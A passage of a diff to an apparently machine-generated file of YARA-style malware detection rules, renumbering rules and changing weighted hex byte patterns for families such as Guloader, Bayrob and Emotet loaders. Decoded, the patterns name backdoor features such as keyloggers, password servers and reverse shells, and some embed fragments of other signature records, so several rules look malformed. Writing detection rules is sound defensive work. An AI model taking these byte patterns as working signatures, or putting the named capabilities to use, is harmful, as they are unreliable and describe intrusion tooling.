00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 44 4a 31 32 33 21 4d 54 42 00 01 00 18 81 01 57 2e 52 2e 20 42 65 72 6b 6c 65 79 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 11 81 01 44 53 54 20 53 79 73 74 65 6d 73 2c 20 49 6e 63 2e 01 00 14 81 01 50 61 74 68 6d 61 72 6b 20 53 74 6f 72 65 73 20 49 6e 63 2e 01 00 21 81 01 48 61 77 61 69 69 61 6e 20 45 6c 65 63 74 72 69 63 20 49 6e 64 75 73 74 72 69 65 73 20 49 6e 63 2e 00 00 78 9c 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 } //0 - $a_64_2 = {72 2e 4b 5a 4c 4c 31 32 33 21 4d 54 42 00 01 00 14 81 01 61 6c 6b 6f 68 6f 6c 74 79 70 65 20 62 61 73 73 6f 6f 6e 73 01 00 16 81 01 61 6e 74 69 63 75 6d 20 75 6e 73 61 74 69 73 66 79 69 6e 67 6c 79 01 00 0b 81 01 6d 65 64 74 61 67 65 6e 64 65 73 01 00 29 81 01 73 73 6f 6e 73 76 69 6e 67 6e } //28524 - $a_65_3 = {73 20 64 6f 64 65 63 61 68 65 64 72 6f 6e 73 20 62 6a 6c 6b 65 6c 6f 66 74 73 00 00 78 9c 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 57 69 6e 36 34 2f 48 65 61 70 63 72 65 7a 2e 45 21 4d 54 42 00 01 00 23 03 45 31 c9 4c 89 15 90 01 04 4c 8d 90 01 05 48 89 05 90 01 04 ba 1f 00 00 00 48 8d 90 01 05 c7 05 a7 90 } //28265 + $a_0f_1 = {10 44 24 40 f2 42 0f 11 84 35 f0 08 00 00 42 88 84 35 f8 08 00 00 01 00 1d 00 c7 44 24 28 80 00 00 00 45 33 c9 45 33 c0 c7 44 24 20 02 00 00 00 ba 00 00 00 10 ff 15 00 00 78 9c 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 57 30 31 21 4d 54 42 00 01 00 20 81 01 63 6c 69 6d 61 74 6f 74 68 65 72 61 70 69 65 73 20 61 70 6f 6b 61 6c 79 70 73 65 73 2e 65 78 65 01 00 20 81 01 61 6e 6e 69 68 69 6c 61 74 69 6f 6e 73 20 73 74 69 72 72 69 64 73 65 72 6e 65 73 20 73 6b 72 74 01 00 18 81 01 75 6c 74 69 6d 69 74 79 20 69 6e 64 6f 6d 69 74 61 62 6c 65 6e 65 73 73 01 00 08 81 01 64 65 6c 74 61 67 6e 65 00 00 78 9c 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 } //0 + $a_64_2 = {72 2e 4b 44 44 4a 31 32 33 21 4d 54 42 00 01 00 18 81 01 57 2e 52 2e 20 42 65 72 6b 6c 65 79 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 11 81 01 44 53 54 20 53 79 73 74 65 6d 73 2c 20 49 6e 63 2e 01 00 14 81 01 50 61 74 68 6d 61 72 6b 20 53 74 6f 72 65 73 20 49 6e 63 2e 01 00 21 81 01 48 61 } //28524 + $a_69_3 = {6e 20 45 6c 65 63 74 72 69 63 20 49 6e 64 75 73 74 72 69 65 73 20 49 6e 63 2e 00 00 78 9c 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 5a 4c 4c 31 32 33 21 4d 54 42 00 01 00 14 81 01 61 6c 6b 6f 68 6f 6c 74 79 70 65 20 62 61 73 73 6f 6f 6e 73 01 00 16 81 01 61 6e 74 } //24951 condition: - ((#a_54_0 & 1)*18467+(#a_0f_1 & 1)*0+(#a_64_2 & 1)*28524+(#a_65_3 & 1)*28265) >=4 + ((#a_54_0 & 1)*18467+(#a_0f_1 & 1)*0+(#a_64_2 & 1)*28524+(#a_69_3 & 1)*24951) >=4 } -rule _InfrastructureShared_10760{ +rule _InfrastructureShared_11452{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 57 30 31 21 4d 54 42 00 01 00 20 81 01 63 6c 69 6d 61 74 6f 74 68 65 72 61 70 69 65 73 20 61 70 6f 6b 61 6c 79 70 73 65 73 2e 65 78 65 01 00 20 81 01 61 6e 6e 69 68 69 6c 61 74 69 6f 6e 73 20 73 } //18467 + $a_72_1 = {64 73 65 72 6e 65 73 20 73 6b 72 74 01 00 18 81 01 75 6c 74 69 6d 69 74 79 20 69 6e 64 6f 6d 69 74 61 62 6c 65 6e 65 73 73 01 00 08 81 01 64 65 6c 74 61 67 6e 65 00 00 78 9c 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 44 4a 31 32 33 21 4d 54 42 00 01 00 18 81 01 57 2e 52 2e 20 42 65 72 6b } //26996 + $a_20_2 = {6f 72 70 6f 72 61 74 69 6f 6e 01 00 11 81 01 44 53 54 20 53 79 73 74 65 6d 73 2c 20 49 6e 63 2e 01 00 14 81 01 50 61 74 68 6d 61 72 6b 20 53 74 6f 72 65 73 20 49 6e 63 2e 01 00 21 81 01 48 61 77 61 69 69 61 6e 20 45 6c 65 63 74 72 69 63 20 49 6e 64 75 73 74 72 69 65 73 20 49 6e 63 2e 00 00 78 9c 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 } //25964 + $a_61_3 = {65 72 2e 4b 5a 4c 4c 31 32 33 21 4d 54 42 00 01 00 14 81 01 61 6c 6b 6f 68 6f 6c 74 79 70 65 20 62 61 73 73 6f 6f 6e 73 01 00 16 81 01 61 6e 74 69 63 75 6d 20 75 6e 73 61 74 69 73 66 79 69 6e 67 6c 79 01 00 0b 81 01 6d 65 64 74 61 67 65 6e 64 65 73 01 00 29 81 01 73 73 6f 6e 73 76 69 6e 67 6e 69 6e 67 65 72 73 20 64 6f 64 65 63 61 } //27765 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*26996+(#a_20_2 & 1)*25964+(#a_61_3 & 1)*27765) >=4 + +} +rule _InfrastructureShared_11453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -117501,7 +125203,7 @@ rule _InfrastructureShared_10760{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*20481+(#a_01_3 & 1)*5120) >=4 } -rule _InfrastructureShared_10761{ +rule _InfrastructureShared_11454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -117514,7 +125216,7 @@ rule _InfrastructureShared_10761{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*385+(#a_89_2 & 1)*1281+(#a_85_3 & 1)*400) >=4 } -rule _InfrastructureShared_10762{ +rule _InfrastructureShared_11455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -117525,7 +125227,7 @@ rule _InfrastructureShared_10762{ ((#a_4c_0 & 1)*21539+(#a_89_1 & 1)*31) >=4 } -rule _InfrastructureShared_10763{ +rule _InfrastructureShared_11456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -117537,7 +125239,18 @@ rule _InfrastructureShared_10763{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*1280+(#a_00_4 & 1)*3584) >=4 } -rule _InfrastructureShared_10764{ +rule _InfrastructureShared_11457{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 79 72 6f 62 2e 4e 49 54 21 4d 54 42 00 03 00 31 01 e8 7c 31 ff ff 6a 02 5e 89 30 e8 3e 31 ff ff 89 30 e9 d2 03 00 00 66 83 7b 02 3a 75 1d 0f b7 03 66 85 c0 74 06 66 39 73 04 74 d5 50 } //21283 + $a_ff_1 = {02 00 39 01 89 b5 b0 fb ff ff 89 b5 b4 fb ff ff e8 63 82 00 00 83 c4 1c 89 47 1c 89 47 18 89 47 20 e9 31 02 00 00 39 b5 90 fb ff ff 0f 84 c8 fe ff ff ff b5 90 fb ff ff e8 1c 16 ff ff 00 00 78 9c 00 00 05 00 05 00 04 00 21 23 48 53 54 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 57 65 61 76 75 6e 2e 41 00 02 00 14 03 52 33 56 33 52 35 33 90 02 90 65 79 6c 6f 67 67 65 72 90 00 02 00 23 02 74 61 5f 64 6f 77 6e 6c 6f 61 64 00 00 ff ff 90 02 10 70 61 73 73 77 6f 72 64 5f 73 65 72 76 65 72 90 00 01 00 1f 02 5f 72 65 76 65 72 73 65 5f 73 65 72 76 65 72 90 02 25 77 65 62 63 61 6d 43 72 79 70 74 90 00 01 00 0f 01 43 68 69 6d 65 72 61 5f 52 65 76 65 72 73 65 00 00 78 9c 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a } //4072 + condition: + ((#a_46_0 & 1)*21283+(#a_ff_1 & 1)*4072) >=5 + +} +rule _InfrastructureShared_11458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -117550,7 +125263,7 @@ rule _InfrastructureShared_10764{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*25974+(#a_5c_2 & 1)*21057+(#a_01_3 & 1)*25390) >=5 } -rule _InfrastructureShared_10765{ +rule _InfrastructureShared_11459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -117564,7 +125277,7 @@ rule _InfrastructureShared_10765{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*30313+(#a_46_2 & 1)*25710+(#a_64_3 & 1)*25961+(#a_74_4 & 1)*25959) >=5 } -rule _InfrastructureShared_10766{ +rule _InfrastructureShared_11460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -117572,26 +125285,40 @@ rule _InfrastructureShared_10766{ $a_54_0 = {3a 51 51 46 72 69 65 6e 64 53 70 79 2e 41 31 00 02 00 1c 01 53 65 6e 64 20 46 72 69 65 6e 64 73 2e 64 6c 6c 00 48 61 6e 64 6c 65 5f 6d 61 69 6e 02 00 17 01 4f 70 65 6e 5f 66 72 69 65 6e 64 73 00 51 51 5f 57 69 6e 64 6f 77 00 02 00 13 01 63 6c 6f 73 } //18467 $a_69_1 = {73 74 5f 66 72 69 65 6e 64 73 01 00 0e 01 43 74 72 6c 2b 53 68 69 66 74 2b 46 31 32 02 00 16 01 85 ff 74 51 83 7f 20 00 74 4b 6a 00 6a 00 68 6f 03 00 00 53 56 e8 00 00 78 9c 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 5a 37 38 00 01 } //101 $a_01_2 = {24 66 34 64 65 33 62 61 34 2d 61 62 34 32 2d 34 66 38 39 2d 39 66 30 62 2d 31 61 62 64 65 34 64 35 65 66 36 65 01 00 1b 81 01 50 65 72 73 6f 6e 61 6c 43 61 6c 65 6e 64 61 72 2e 50 72 6f 70 65 72 74 69 65 73 01 00 06 81 01 42 69 74 6d 61 70 01 00 0a 81 01 47 65 74 4d 65 74 68 6f 64 73 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 9c 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 } //9472 - $a_2f_3 = {75 6c 6f 61 64 65 72 2e 4b 52 52 50 31 32 33 21 4d 54 42 00 01 00 1b 81 01 73 79 6e 20 66 64 65 68 6a 65 6d 6d 65 74 20 70 72 65 74 65 6e 64 69 6e 67 } //13166 - $a_00_4 = {22 } //31084 " + $a_2f_3 = {75 6c 6f 61 64 65 72 2e 47 4f 46 30 31 21 4d 54 42 00 01 00 0f 81 01 62 65 73 70 61 74 74 65 72 65 64 2e 65 78 65 01 00 17 81 01 54 61 6b 6e 65 6d 6c } //13166 + $a_65_4 = {67 6c 64 73 31 36 39 2e 67 69 66 01 00 10 81 01 74 72 61 66 69 6b 65 6c 65 76 65 72 2e 69 6e 69 01 00 14 81 01 72 65 63 6f 6e 63 69 6c 69 61 62 69 6c 69 74 79 2e 68 74 6d 01 00 11 81 01 74 72 65 6d 65 6c 6c 61 63 65 6f 75 73 2e 64 6c 6c 00 00 78 9c 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f } //26473 condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*101+(#a_01_2 & 1)*9472+(#a_2f_3 & 1)*13166+(#a_00_4 & 1)*31084) >=5 + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*101+(#a_01_2 & 1)*9472+(#a_2f_3 & 1)*13166+(#a_65_4 & 1)*26473) >=5 } -rule _InfrastructureShared_10767{ +rule _InfrastructureShared_11461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 5a 37 38 00 01 00 25 81 01 24 66 34 64 65 33 62 61 34 2d 61 62 34 32 2d 34 66 38 39 2d 39 66 30 62 2d 31 61 62 64 65 34 64 35 65 66 36 65 01 00 1b 81 01 50 65 72 73 6f 6e 61 } //18467 - $a_6c_1 = {6e 64 61 72 2e 50 72 6f 70 65 72 74 69 65 73 01 00 06 81 01 42 69 74 6d 61 70 01 00 0a 81 01 47 65 74 4d 65 74 68 6f 64 73 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 9c 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 52 52 50 31 32 33 21 4d } //17260 - $a_01_3 = {73 79 6e 20 66 64 65 68 6a 65 6d 6d 65 74 20 70 72 65 74 65 6e 64 69 6e 67 6c 79 01 00 22 81 01 69 6e 6a 75 72 61 6e 74 65 6e 20 66 75 6e 6b 74 69 6f 6e 73 62 65 73 6b 72 69 76 65 6c 73 65 72 6e 65 01 00 07 81 01 74 6f 74 61 6c 65 73 01 00 0b 81 01 74 72 61 66 69 6b 74 79 70 65 6e 01 00 0a 81 01 66 72 65 69 67 68 74 65 72 73 00 00 78 9c 00 00 05 00 05 00 05 00 21 23 50 55 41 3a 42 6c } //6912 - $a_3a_4 = {65 77 73 38 37 00 01 00 38 80 01 64 3a 5c 33 37 57 6f 72 6b 5c 70 63 5f 63 6f 64 65 5c 6c 61 6e 64 65 72 5c 74 65 6d 70 6c 61 74 65 5c 6c 69 61 6e 79 75 6e 5c 42 69 6e 5c 6c 61 6e 64 65 72 2e 70 64 62 01 00 0f 80 01 69 63 6f 6e 41 6e 69 6d 61 74 65 2e 65 78 65 01 00 0a 80 01 4c 61 6e 64 65 72 2e 69 6e 69 01 00 0f 80 01 } //25455 + $a_6c_1 = {6e 64 61 72 2e 50 72 6f 70 65 72 74 69 65 73 01 00 06 81 01 42 69 74 6d 61 70 01 00 0a 81 01 47 65 74 4d 65 74 68 6f 64 73 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 9c 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 46 30 31 21 4d 54 42 } //17260 + $a_65_3 = {70 61 74 74 65 72 65 64 2e 65 78 65 01 00 17 81 01 54 61 6b 6e 65 6d 6c 69 67 68 65 64 67 6c 64 73 31 36 39 2e 67 69 66 01 00 10 81 01 74 72 61 66 69 6b 65 6c 65 76 65 72 2e 69 6e 69 01 00 14 81 01 72 65 63 6f 6e 63 69 6c 69 61 62 69 6c 69 74 79 2e 68 74 6d 01 00 11 81 01 74 72 65 6d 65 6c 6c } //385 + $a_6f_4 = {73 2e 64 6c 6c 00 00 78 9c 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 52 52 50 31 32 33 21 4d 54 42 00 01 00 1b 81 01 73 79 6e 20 66 64 65 68 6a 65 6d 6d 65 74 20 70 72 65 74 65 6e 64 69 6e 67 6c 79 01 00 22 81 01 69 6e 6a 75 72 61 6e 74 65 6e 20 66 75 } //25441 condition: - ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*17260+(#a_01_3 & 1)*6912+(#a_3a_4 & 1)*25455) >=5 + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*17260+(#a_65_3 & 1)*385+(#a_6f_4 & 1)*25441) >=5 } -rule _InfrastructureShared_10768{ +rule _InfrastructureShared_11462{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 46 30 31 21 4d 54 42 00 01 00 0f 81 01 62 65 73 70 61 74 74 65 72 65 64 2e 65 78 65 01 00 17 81 01 54 61 6b 6e 65 6d 6c 69 67 68 65 64 67 6c 64 73 31 36 39 2e 67 69 66 01 00 10 81 01 74 72 61 66 } //18467 + $a_6c_1 = {76 65 72 2e 69 6e 69 01 00 14 81 01 72 65 63 6f 6e 63 69 6c 69 61 62 69 6c 69 74 79 2e 68 74 6d 01 00 11 81 01 74 72 65 6d 65 6c 6c 61 63 65 6f 75 73 2e 64 6c 6c 00 00 78 9c 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 52 52 50 31 32 33 21 4d 54 42 00 01 } //27497 + $a_01_2 = {73 79 6e 20 66 64 65 68 6a 65 6d 6d 65 74 20 70 72 65 74 65 6e 64 69 6e 67 6c 79 01 00 22 81 01 69 6e 6a 75 72 61 6e 74 65 6e 20 66 75 6e 6b 74 69 6f 6e 73 62 65 73 6b 72 69 76 65 6c 73 65 72 6e 65 01 00 07 81 01 74 6f 74 61 6c 65 73 01 00 0b 81 01 74 72 61 66 69 6b 74 79 70 65 6e 01 00 0a 81 01 66 72 65 69 67 68 74 65 72 73 00 00 78 9c 00 00 05 00 05 00 05 00 21 23 50 55 41 3a 42 6c } //6912 + $a_3a_3 = {65 77 73 38 37 00 01 00 38 80 01 64 3a 5c 33 37 57 6f 72 6b 5c 70 63 5f 63 6f 64 65 5c 6c 61 6e 64 65 72 5c 74 65 6d 70 6c 61 74 65 5c 6c 69 61 6e 79 75 6e 5c 42 69 6e 5c 6c 61 6e 64 65 72 2e 70 64 62 01 00 0f 80 01 69 63 6f 6e 41 6e 69 6d 61 74 65 2e 65 78 65 01 00 0a 80 01 4c 61 6e 64 65 72 2e 69 6e 69 01 00 0f 80 01 } //25455 + $a_61_4 = {79 6f 75 78 69 37 2e 63 6f 6d 01 00 08 80 01 33 37 77 61 6e 63 6f 6d 00 00 78 9c 00 00 05 00 05 00 06 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 63 6f 6c 75 63 6b 2e 43 21 64 68 61 00 01 00 09 01 52 44 44 65 61 6d 6f 6e 57 01 00 10 01 52 00 44 00 44 00 6f 00 57 00 6f 00 72 00 6b 00 01 00 12 01 52 00 44 00 50 00 72 00 6f 00 } //11876 + condition: + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*27497+(#a_01_2 & 1)*6912+(#a_3a_3 & 1)*25455+(#a_61_4 & 1)*11876) >=5 + +} +rule _InfrastructureShared_11463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -117605,7 +125332,7 @@ rule _InfrastructureShared_10768{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29550+(#a_63_2 & 1)*23659+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720) >=5 } -rule _InfrastructureShared_10769{ +rule _InfrastructureShared_11464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -117618,7 +125345,7 @@ rule _InfrastructureShared_10769{ ((#a_41_0 & 1)*20515+(#a_74_1 & 1)*28009+(#a_00_2 & 1)*26724+(#a_6c_3 & 1)*25439) >=5 } -rule _InfrastructureShared_10770{ +rule _InfrastructureShared_11465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -117633,7 +125360,7 @@ rule _InfrastructureShared_10770{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_79_2 & 1)*24940+(#a_04_3 & 1)*-1+(#a_20_4 & 1)*25973+(#a_00_5 & 1)*0) >=5 } -rule _InfrastructureShared_10771{ +rule _InfrastructureShared_11466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " @@ -117646,7 +125373,7 @@ rule _InfrastructureShared_10771{ ((#a_46_0 & 1)*16675+(#a_58_1 & 1)*27161+(#a_ff_2 & 1)*400+(#a_e1_3 & 1)*22788) >=6 } -rule _InfrastructureShared_10772{ +rule _InfrastructureShared_11467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " @@ -117659,7 +125386,7 @@ rule _InfrastructureShared_10772{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*25973+(#a_00_2 & 1)*0+(#a_3a_3 & 1)*19521) >=6 } -rule _InfrastructureShared_10773{ +rule _InfrastructureShared_11468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -117674,7 +125401,7 @@ rule _InfrastructureShared_10773{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*29744+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 } -rule _InfrastructureShared_10774{ +rule _InfrastructureShared_11469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -117689,7 +125416,7 @@ rule _InfrastructureShared_10774{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29505+(#a_67_2 & 1)*12108+(#a_65_3 & 1)*385+(#a_61_4 & 1)*27765+(#a_69_5 & 1)*24954) >=6 } -rule _InfrastructureShared_10775{ +rule _InfrastructureShared_11470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -117704,7 +125431,7 @@ rule _InfrastructureShared_10775{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25938+(#a_65_2 & 1)*29793+(#a_23_3 & 1)*2+(#a_90_4 & 1)*-14840+(#a_01_5 & 1)*-28603) >=6 } -rule _InfrastructureShared_10776{ +rule _InfrastructureShared_11471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -117719,7 +125446,7 @@ rule _InfrastructureShared_10776{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*26226+(#a_74_2 & 1)*400+(#a_64_3 & 1)*400+(#a_6c_4 & 1)*400+(#a_6c_5 & 1)*400) >=6 } -rule _InfrastructureShared_10777{ +rule _InfrastructureShared_11472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " @@ -117730,7 +125457,7 @@ rule _InfrastructureShared_10777{ ((#a_50_0 & 1)*17955+(#a_01_1 & 1)*17862) >=7 } -rule _InfrastructureShared_10778{ +rule _InfrastructureShared_11473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -117742,7 +125469,7 @@ rule _InfrastructureShared_10778{ ((#a_63_0 & 1)*18467+(#a_64_1 & 1)*8293+(#a_36_2 & 1)*29537) >=8 } -rule _InfrastructureShared_10779{ +rule _InfrastructureShared_11474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -117751,30 +125478,43 @@ rule _InfrastructureShared_10779{ $a_43_1 = {72 } //1024 r $a_77_3 = {61 74 65 42 69 6e 64 69 6e 67 01 00 07 01 4c 61 74 65 47 65 74 01 00 0a 01 43 61 6c 6c 42 79 4e 61 6d 65 01 00 05 01 43 6c 6f 6e 65 00 00 78 9c 00 00 0a 00 0a 00 07 00 21 23 48 53 54 52 3a 4c 4c 58 4c 6f 61 64 65 72 2e 45 6d 6f 74 00 02 00 0f 80 01 5c 65 78 63 65 6c 64 6e 61 36 34 2e 70 64 62 02 00 0a } //19969 $a_65_4 = {63 65 6c 64 6e 61 5c 02 00 0f 80 01 65 78 63 65 6c 64 6e 61 2e 6c 6f 61 64 65 72 02 00 0a 80 01 78 6c 61 75 74 6f 6f 70 65 6e 02 00 13 80 01 47 65 74 43 75 72 72 65 6e 74 50 72 6f 63 65 73 73 49 64 02 00 0e 80 01 63 72 65 61 74 65 70 72 6f 63 65 73 73 77 02 00 08 80 01 72 65 } //384 - $a_72_5 = {32 00 00 78 9c 00 00 0c 00 0c 00 05 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 43 68 6f 62 6f 73 75 6b 79 2e 41 21 64 68 61 00 0a 00 2c 01 8b 54 24 18 81 e2 ff 00 00 00 c0 e1 04 8a 92 64 40 40 00 8a da c0 eb 02 80 e3 0f 0a d9 88 1c 2e 8a 0c 38 46 40 80 f9 3d 88 4c 24 14 01 00 09 01 49 41 4d 5f 4b 49 4e 47 00 01 00 11 01 69 6e 64 } //29543 - $a_68_6 = {6d 6c 2f 43 4f 4e 4e 25 73 01 00 06 01 49 6d 4b 69 6e 67 02 00 0d 01 63 79 62 65 72 2e 6d 79 66 77 2e 75 73 00 00 03 00 78 9c 00 00 0c 00 } //30821 - $a_00_7 = {21 23 41 64 77 61 72 } //12 !#Adwar + $a_72_5 = {32 00 00 78 9c 00 00 0b 00 0b 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 61 72 79 73 2e 47 41 50 21 4d 54 42 00 05 00 35 03 11 05 11 0a 8f 90 01 03 01 25 47 08 d2 61 d2 52 11 0a 20 90 01 03 00 5f 2d 0b 08 08 5a 20 90 01 03 00 6a 5e 0c 11 0a 17 58 13 0a 11 0a 11 05 8e 69 32 cd 90 00 02 00 18 01 4a 4f 5a 49 4b 5f 45 42 41 54 5f 43 } //29543 + $a_45_6 = {4f 5f 54 41 4b 4f 45 02 00 0b 01 50 45 4e 49 53 5f 45 42 41 4e 59 02 00 0c 01 5f 46 41 43 4b 5f 4d 59 5f 41 53 53 00 00 78 9c 00 00 0c 00 0c 00 05 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 43 68 6f 62 6f 73 75 6b 79 2e 41 21 64 68 61 00 0a 00 2c 01 8b 54 24 18 } //17736 + $a_00_7 = {00 00 c0 e1 04 8a 92 64 40 40 00 8a da c0 eb 02 80 e3 0f 0a d9 88 1c 2e 8a 0c 38 46 40 80 f9 3d 88 4c 24 14 01 00 09 01 49 41 4d 5f 4b 49 4e 47 00 01 00 11 01 69 6e 64 65 78 2e 68 74 6d 6c 2f 43 4f 4e 4e 25 73 01 00 06 01 49 6d 4b 69 6e 67 02 00 0d 01 63 79 62 65 72 2e 6d 79 66 77 2e 75 73 00 00 03 00 78 9c 00 00 0c 00 0c 00 07 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 44 4d 43 61 73 74 00 04 00 0c 01 64 6d 63 6c 69 65 6e 74 5f 6d 69 64 02 00 14 01 53 4f 46 54 57 41 52 45 5c 73 68 61 72 65 68 65 6c 70 65 72 02 00 0d 01 63 61 73 74 5c 64 6d 63 6c 69 65 6e 74 04 00 0c 01 64 6d 63 6c 69 65 6e 74 5f 73 69 64 05 00 13 01 2e 64 6d 63 61 73 74 2e 63 6f 6d 2f 73 63 72 69 70 74 2f 02 00 07 01 64 6d 75 70 54 6d 70 05 00 0f 01 44 4d 5f 53 43 48 45 44 5f 55 50 } //-7551 condition: - ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*1024+(#a_77_3 & 1)*19969+(#a_65_4 & 1)*384+(#a_72_5 & 1)*29543+(#a_68_6 & 1)*30821+(#a_00_7 & 1)*12) >=8 + ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*1024+(#a_77_3 & 1)*19969+(#a_65_4 & 1)*384+(#a_72_5 & 1)*29543+(#a_45_6 & 1)*17736+(#a_00_7 & 1)*-7551) >=8 } -rule _InfrastructureShared_10780{ +rule _InfrastructureShared_11475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 07 00 21 " strings : $a_54_0 = {3a 4c 4c 58 4c 6f 61 64 65 72 2e 45 6d 6f 74 00 02 00 0f 80 01 5c 65 78 63 65 6c 64 6e 61 36 34 2e 70 64 62 02 00 0a 80 01 5c 65 78 63 65 6c 64 6e 61 5c 02 00 